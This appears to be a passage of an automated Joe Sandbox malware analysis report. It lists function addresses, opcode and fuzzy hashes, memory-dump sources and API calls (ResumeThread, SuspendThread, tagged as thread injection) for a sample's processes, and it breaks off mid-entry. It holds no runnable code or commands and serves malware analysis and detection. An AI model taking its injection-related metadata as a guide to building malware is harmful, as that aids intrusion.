Instruction ID: dd4645700ce3adf7f51ab5212dcd068fba9d047ec4524ba108d7fdc88d65c851
Opcode Fuzzy Hash: c980bec93811fd79f71c1adb8b19923a36848f0436d674c71fb723d1daf61942
Instruction Fuzzy Hash: F921A97091952D8EDB64EB54C8A47B8B6F0FB18305F5081EA808DA72A5CE34AAC5DF40

Function 00007FFD9BF7952E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25bcc2ebd3921d8cdbaa8324cb1897c95d2df1739323e69f9a7298a58c73b1b
Instruction ID: 69c2592f6732ee804342ec9ab2b556d459c3d8aeaa9e12fc5c747fc298d3117a
Opcode Fuzzy Hash: e25bcc2ebd3921d8cdbaa8324cb1897c95d2df1739323e69f9a7298a58c73b1b
Instruction Fuzzy Hash: 10116B3130950A8FE728AE98D8742F433D0EF84361F0143BAD41DCB6E1DB2AEA41C740

Function 00007FFD9B870C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41c69e72ea4cc591cd944404319a27999480b4fae7adfc63be9967422074239c
Instruction ID: d2875ab785250be707cce9aac1e0739ecb68aa53017c1a3a3bb1fc9ec7d47b87
Opcode Fuzzy Hash: 41c69e72ea4cc591cd944404319a27999480b4fae7adfc63be9967422074239c
Instruction Fuzzy Hash: D0112631B0E18E8AFB12DBA4C8A96EE7760EF85714F014577D055EB2E2DA78630AD740

Function 00007FFD9B873CEE Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b99b3e67ad8ec1a1a4b4b60c48cebb16c6e3a00891fdcdd7a1f826b0c352c2d
Instruction ID: d283f8efaecbbd83bb8dcdabe6084b76d767919b88fc70015bcc31940f150a79
Opcode Fuzzy Hash: 3b99b3e67ad8ec1a1a4b4b60c48cebb16c6e3a00891fdcdd7a1f826b0c352c2d
Instruction Fuzzy Hash: CF21C670E1912D8EEB749F54C8943A8B6F0FB19305F5081EAD08D672A5CE789BC5EF81

Function 00007FFD9B870C48 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5875943e29dc23f949d344e5fdfb24919f4676f2a29a0f3e5a20865097a6bb29
Instruction ID: fc3e93f301a98b2ecfbe0aa2600affff428a5a13b2d15c555271f2015af6206e
Opcode Fuzzy Hash: 5875943e29dc23f949d344e5fdfb24919f4676f2a29a0f3e5a20865097a6bb29
Instruction Fuzzy Hash: 11014531A0E18E8AEB11DBA4C8582EEB770EF86304F014577C015EB2E2DB786205D740

Function 00007FFD9B874724 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e51533f12c594df237fbf249afcd31d1e010bd9e61fcf7435f698c98ea48c07
Instruction ID: b5e651982f45bf74150d66aef6c76d4f94850f91b7775fbae72dcd9aaea94b56
Opcode Fuzzy Hash: 6e51533f12c594df237fbf249afcd31d1e010bd9e61fcf7435f698c98ea48c07
Instruction Fuzzy Hash: A1113A70E0921E8BEBA4EB54C8987E9B3B0FB59308F1001E9D14DA3691CB781B84DF44

Function 00007FFD9B870C50 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93747b3475064ec7c0b1707418878f6f5b9bd2686be85cb3d5b764dbe3c61c3
Instruction ID: 012d75accf3b6160f2d237a2a7ceb9c615d33f09b0511915190991961cb02c81
Opcode Fuzzy Hash: c93747b3475064ec7c0b1707418878f6f5b9bd2686be85cb3d5b764dbe3c61c3
Instruction Fuzzy Hash: BA012430E0E18E8AEB11DBA4C8586EEB7A0EF85308F004576C015D72E6DA786204D741

Function 00007FFD9B870B9D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258117a71824222e8d51f7886ca406f9f30cc902abc194a5cc4ebd2c764992f2
Instruction ID: f8c7b6aad34d70ee32ec2197b8b1a5c6764dae93e660eed91071d5ba2f1fef19
Opcode Fuzzy Hash: 258117a71824222e8d51f7886ca406f9f30cc902abc194a5cc4ebd2c764992f2
Instruction Fuzzy Hash: D601E430A28A4DCFCB84EF58C881AE97BE0FB58304F0101A5E85DD3264C730E961CB82

Function 00007FFD9B875069 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ff72b7b73717a1cc7bcf30746dcbea581e0f6625e39d09239fd145d8dcb741a
Instruction ID: a81264b6abce99414266cf6817b7c6bb48521eabad47b51e36fabafc6c752bab
Opcode Fuzzy Hash: 7ff72b7b73717a1cc7bcf30746dcbea581e0f6625e39d09239fd145d8dcb741a
Instruction Fuzzy Hash: 1B016130A0961D8AEB64EB14C8987E9B2B1EB55305F1442E9C009E35A5DF741A84DF41

Function 00007FFD9B879E1F Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c47358340f05c7a658a9dc88eca5b9c3bd20cde5e39388a7e3e04d38a1f822
Instruction ID: 8f815be8186de34e9a3a014e49478f08713f6d020d6c4ffb945f81f42568cb6b
Opcode Fuzzy Hash: e2c47358340f05c7a658a9dc88eca5b9c3bd20cde5e39388a7e3e04d38a1f822
Instruction Fuzzy Hash: 4C01ED30A0551DCBEBA4EB14CC98BEAB3B1FB58345F0442E5900DE36A5CB755AC0DF40

Function 00007FFD9B8706A5 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c868fd51e1bedcaab4f3c4d5fa736e1ae7e544e63848c3ad7d70e94f4c93a3d8
Instruction ID: 7433bd853c9c881bfb508185d3bd0c401539947ca0c964e277ad9d4a131c30ef
Opcode Fuzzy Hash: c868fd51e1bedcaab4f3c4d5fa736e1ae7e544e63848c3ad7d70e94f4c93a3d8
Instruction Fuzzy Hash: 44F03030A19A0E9FEF91EF98D4596EE77E0FF58304F110536E41CC21A4DA34A690DB81

Function 00007FFD9BF78447 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a989a9badc6cafe34bb0988fc1aeeca2ca02a3fa1c7b26556f9dd9de6be0f9b3
Instruction ID: 7075274c16814e4adf2743160234d5cc4e5ea8cc8cf06fa28ffb6cd0f1591051
Opcode Fuzzy Hash: a989a9badc6cafe34bb0988fc1aeeca2ca02a3fa1c7b26556f9dd9de6be0f9b3
Instruction Fuzzy Hash: 19F0D274A1891DCFDF99EF98C894AACBBB1FB68301F210159C00EEB651CA71A941DF40

Function 00007FFD9B871350 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538651e05a5555b1de579750cf628c89c2cc63b4156375409415b13d73428266
Instruction ID: 8e72b091fdf70fb90fb7d8d5aa8b5cc387a77f08bf5da447a37934fe269b53ea
Opcode Fuzzy Hash: 538651e05a5555b1de579750cf628c89c2cc63b4156375409415b13d73428266
Instruction Fuzzy Hash: 4DF0BD3091494D9FDF94EF58D848AAA7BE0FF6C304F110565F819C3264DA34E590CB81

Function 00007FFD9B8706C8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b8b932ba0e51aa52243fa3158ea56d3297638b67dba7519a84f8d97639857b
Instruction ID: 8f4a435521cf0adabda981fa2fb25f20be3079578c42d4c30690d14784a0aabd
Opcode Fuzzy Hash: 63b8b932ba0e51aa52243fa3158ea56d3297638b67dba7519a84f8d97639857b
Instruction Fuzzy Hash: DFF01C3091594E9FEF90EFA8C8596EA7BE0FF18304F010576E81CD21A4DA34A6A0CB81

Function 00007FFD9BF76213 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87ffb283725f6524707d74580c18d284a9af2ab1558b69b2654258f333f71623
Instruction ID: a1012cf4647bf834a92bf3e48f6e135cca02bdd97a7b04d7ed5043925c5da521
Opcode Fuzzy Hash: 87ffb283725f6524707d74580c18d284a9af2ab1558b69b2654258f333f71623
Instruction Fuzzy Hash: CAE0ED52E0F88A66EDF89A9814B65B80680EF14300B1603F9D85CC39E2DC2EAE818241

Function 00007FFD9BF76265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 745d13573ca9e9a9a5f564b44991b075ee9a9db51a7ead10be4e002fc6aba08b
Instruction ID: 04ec20daec85c06fdd13050b1be789b4001143d7ec8fc4f6e8df4bf9da0cf9ab
Opcode Fuzzy Hash: 745d13573ca9e9a9a5f564b44991b075ee9a9db51a7ead10be4e002fc6aba08b
Instruction Fuzzy Hash: 51E09231C1E78C9BDBB18F5084A60EC7B20FF51300F1902EBD508474A2DA35A7189682

Function 00007FFD9BF78A37 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 886d0ebf1066306e60b3060fb0b398f748d4945a9137d594c7e6c7deb3ed1ada
Instruction ID: 4a6310bae1172fd3ec66f6b1ef3d87d0f11b3480bd250c4f7da2f706c304dcac
Opcode Fuzzy Hash: 886d0ebf1066306e60b3060fb0b398f748d4945a9137d594c7e6c7deb3ed1ada
Instruction Fuzzy Hash: 0EE0EC41B0F28A5BFB765AB448A4028AB91CF077447160BFAD14A8B1E3D956A9449326

Function 00007FFD9BF76240 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7478fc053242993f1a97261d026abd69112ebffaffa118e220dba8cf9ae897ad
Instruction ID: 23431db8535db35fee1e557c17a77a2c34b6b1add24ab523ac9d05f377a27723
Opcode Fuzzy Hash: 7478fc053242993f1a97261d026abd69112ebffaffa118e220dba8cf9ae897ad
Instruction Fuzzy Hash: A4D01220B0DD0E9AEAF89E9490A05792690DF4430072106F9C40FC39A5DD3AEF849641

Function 00007FFD9BF7950B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728250862.00007FFD9BF70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf70000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3337fcae80d6df5a85af12ddc4cc5443d92bf4b6482dcc50cb92599892534a09
Instruction ID: 62b98ca45a22adb0012bce55aa35827aa3c5e4d96935452dbd96df1fa7ba1a21
Opcode Fuzzy Hash: 3337fcae80d6df5a85af12ddc4cc5443d92bf4b6482dcc50cb92599892534a09
Instruction Fuzzy Hash: 7BD09264B0F56BA5F6385E8144B823A51E0DF00300EA292BDC05F438E1C91EF7026202

Non-executed Functions

Function 00007FFD9BA262FB Relevance: 1.7, Strings: 1, Instructions: 413COMMON

Download Yara Rule

Strings

4_^, xrefs: 00007FFD9BA26401

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID: 4_^
API String ID: 0-3117248850
Opcode ID: 8e25109d67d8f6b948f7ed60ff9a858a508f4e9d4b22faedbdf7831495156126
Instruction ID: 9e9dcdb07e6109ca5c84b5a8742fec28775733fddc95195d18b0df4a7e15c27e
Opcode Fuzzy Hash: 8e25109d67d8f6b948f7ed60ff9a858a508f4e9d4b22faedbdf7831495156126
Instruction Fuzzy Hash: 51D11752A0F2B25BD71AB77CBDBA8E63B90DF0222C70C41F7E09D4E0D7EC4865469295

Function 00007FFD9B872905 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

!, xrefs: 00007FFD9B872BD0

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: e1a77e880e50ce2c08499e5133ec9b1074ec114201bf37b8db529c28dc10cce7
Instruction ID: 8ed8aa6a8279748db406be8ba27fb751d26bcbdbf96ac14a49f16de4e55eeab7
Opcode Fuzzy Hash: e1a77e880e50ce2c08499e5133ec9b1074ec114201bf37b8db529c28dc10cce7
Instruction Fuzzy Hash: 39816C71E1622D8FEBA0CF69C989B99B7F1EB48304F1482E5D41CE7651D734AA859F00

Function 00007FFD9BA155BD Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

5_^, xrefs: 00007FFD9BA15601

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID: 5_^
API String ID: 0-3087997797
Opcode ID: 6bc0541569be3438ae7ac36b12dd089be535bdcaa659c1bc18d6995bfb373e05
Instruction ID: 82caaf230f601178b3636a326ebc4eaa6c72c1ab08d8fc76838fd7c6353d357e
Opcode Fuzzy Hash: 6bc0541569be3438ae7ac36b12dd089be535bdcaa659c1bc18d6995bfb373e05
Instruction Fuzzy Hash: E531EB93D2BEEF11F7A4657DCC6A4979740EF11F98B4E2636C1F5890E7EC9866430180

Function 00007FFD9BA250F2 Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6dcfda021aae9d95232e9ff20ec2cd3303312c582519c8464d196b78df0122b
Instruction ID: b2564583b83c3d5531de30fe8b59f219fd836ca4519bb98f8edbe202dd630421
Opcode Fuzzy Hash: d6dcfda021aae9d95232e9ff20ec2cd3303312c582519c8464d196b78df0122b
Instruction Fuzzy Hash: EBE12A93E0F7D11BEB5A43A82C351E51FD2BF427A074950B7D4984B2FBBC49AE066381

Function 00007FFD9BA24B98 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a252a5940e234e5b4f421638bd54ad5c140f603d58949369b98930a7679208de
Instruction ID: ef989b299dd1be856c069a2b88483da125551455021f8b37637af4ace39cdb0e
Opcode Fuzzy Hash: a252a5940e234e5b4f421638bd54ad5c140f603d58949369b98930a7679208de
Instruction Fuzzy Hash: C0C1F6C7A4F7C51BFA5643AC28791E50AD1BF42B6074900BEE4D84B2FF7C4DAE06A241

Function 00007FFD9BA243F0 Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4038b648a3af20982f4bb926c19d7f5285cf39482e3ae7969ff9e739102241b4
Instruction ID: 7ec3e2cab7e86d25b5d0fdb99e0e087e79e7cb1998cf264253ecd5ba8505d678
Opcode Fuzzy Hash: 4038b648a3af20982f4bb926c19d7f5285cf39482e3ae7969ff9e739102241b4
Instruction Fuzzy Hash: 2ED1D957A4F7D20FE76347B44C391261FA16F82A5071E41FBC1E88B1BFED85AA1A4342

Function 00007FFD9BA23503 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e108ea2c302b2c2dac2ea0e62e81b21272dafcc61e3a1c30d6380ec35b0d8a97
Instruction ID: 3115d96c3faa1f22fb14b507444cb1118adb00d4dea3b6437be9aaa94ddc3b20
Opcode Fuzzy Hash: e108ea2c302b2c2dac2ea0e62e81b21272dafcc61e3a1c30d6380ec35b0d8a97
Instruction Fuzzy Hash: 2C91F792A0E1A24AE71E72B8BD7A4E63B50DF0223C70845F7D0EE4F0D7FD4864475255

Function 00007FFD9BA23FA5 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eab56c5ff504cd29bc81e8fe1e93bce416189b31ed6c8c410cdf4d7ed258a090
Instruction ID: dda432cfb3d84ca028857c2d67d7ba303460b9b8601fc02acb71484f84878ea8
Opcode Fuzzy Hash: eab56c5ff504cd29bc81e8fe1e93bce416189b31ed6c8c410cdf4d7ed258a090
Instruction Fuzzy Hash: FB81D946E4F6C72EF37547B4582553A2FB0AF51760B1A05BFC6A4C50FF9C8CAA464242

Function 00007FFD9BA24980 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc14a8440cbdfcbfc878ec8b8f360e3af4952a3e9895ce827cacde2c71d92004
Instruction ID: a86eb9467691287297a10bc74d7d95baf61cfc268d182f79c3d8a042f76e938f
Opcode Fuzzy Hash: bc14a8440cbdfcbfc878ec8b8f360e3af4952a3e9895ce827cacde2c71d92004
Instruction Fuzzy Hash: 3061E897A0F7C11BF76D57AC28391A62B91BF427A070950FBD0984B2FF7C8CAD069245

Function 00007FFD9BA1B9AD Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e2a468cb7656c2dcc3ac86d818a04451b1eb740e52386efc1c0f9c3c258cfd5
Instruction ID: aec69aa1df4266d59de6491b4b2aa9ca002f9767e9b94f7e98d2a29c567e6fdd
Opcode Fuzzy Hash: 4e2a468cb7656c2dcc3ac86d818a04451b1eb740e52386efc1c0f9c3c258cfd5
Instruction Fuzzy Hash: 1731E470E09A1D8FCF84DF98D851AEDBBF1FB69300F6011AAD419E3291CA75A941CB44

Function 00007FFD9BA23920 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10317b47d0c799ff9e552c27a879fc5562f4bb8cbe11581e451e42d550ba999b
Instruction ID: a8712a6170be339425989bf3eb935e73d8eae8aae9f8d0a9f46595c3b3cab994
Opcode Fuzzy Hash: 10317b47d0c799ff9e552c27a879fc5562f4bb8cbe11581e451e42d550ba999b
Instruction Fuzzy Hash: A5310A46A0F6C31FF3355AB5083A52A1EF2AF43A7071955B7C0E8460DBDC84EA5D4302

Function 00007FFD9BA154F5 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722068081.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa709387a1160168b954c20a44cb6aff019846d0b2b24db35e523948695262e5
Instruction ID: 504281ca3e3efe9ca23c16217abb04d252ebdb3c1df2d2be4d4fd3290f14aac1
Opcode Fuzzy Hash: fa709387a1160168b954c20a44cb6aff019846d0b2b24db35e523948695262e5
Instruction Fuzzy Hash: 062130A3E1A49A07F759F6B9EC758D52781EF11A6C70D56B2D0FE8A0E3FD8871031104

Function 00007FFD9B8709B0 Relevance: 5.2, Strings: 4, Instructions: 186COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9B870B56
!k9, xrefs: 00007FFD9B870B4E
#{9, xrefs: 00007FFD9B870B3E
"s9, xrefs: 00007FFD9B870B46

Memory Dump Source

Source File: 00000000.00000002.1720417956.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_aW6kSsgdvv.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 7dbc67f901df2cb764c8c209c0829ae275a9c819fbd63321a196b40f28f39a07
Instruction ID: d375ec3fb2bd71ec2a853f4d3145fad06255369dc3aae74648307d1759f9ba04
Opcode Fuzzy Hash: 7dbc67f901df2cb764c8c209c0829ae275a9c819fbd63321a196b40f28f39a07
Instruction Fuzzy Hash: EC51C497B1D07699E21E33FD79698ED5B48CF8533CB0846B7E05D8B0D79C482087A2E5

Analysis Process: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exePID: 7528, Parent PID: 7392COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BAC0DA4 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4155210601.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bac0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8437ef288272da047e066a75f702ba286f59a2e4c9c33800a3eb55c18fa48713
Instruction ID: 813ee09863c195c88e4f99d1bc054d254f784352e67f171777b063d4e14b8fa6
Opcode Fuzzy Hash: 8437ef288272da047e066a75f702ba286f59a2e4c9c33800a3eb55c18fa48713
Instruction Fuzzy Hash: EEA1C371A19A4D8FD799EBA8C8657B97BE1FF99314F0002BED04DD72E6CA781801C744

Function 00007FFD9BC6EBB7 Relevance: 1.7, APIs: 1, Instructions: 158
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BC6ECB1

Memory Dump Source

Source File: 00000005.00000002.4157590475.00007FFD9BC60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bc60000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a427160a3f0e08e164be6f1e00d89591a5ebca6daa3e17b3cbcf93c988cbfaac
Instruction ID: a4910025643eb6d3cc09ea1595b55ed9723dbc494de070a1da3c02c3ff33f497
Opcode Fuzzy Hash: a427160a3f0e08e164be6f1e00d89591a5ebca6daa3e17b3cbcf93c988cbfaac
Instruction Fuzzy Hash: E6517A7090D78D8FDB55DFA8D855AE9BFB0EF5A310F0441ABD049EB292DA34A846CB01

Function 00007FFD9BC6D40D Relevance: 1.6, APIs: 1, Instructions: 139
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FFD9BC6D4E1

Memory Dump Source

Source File: 00000005.00000002.4157590475.00007FFD9BC60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC60000, based on PE: false
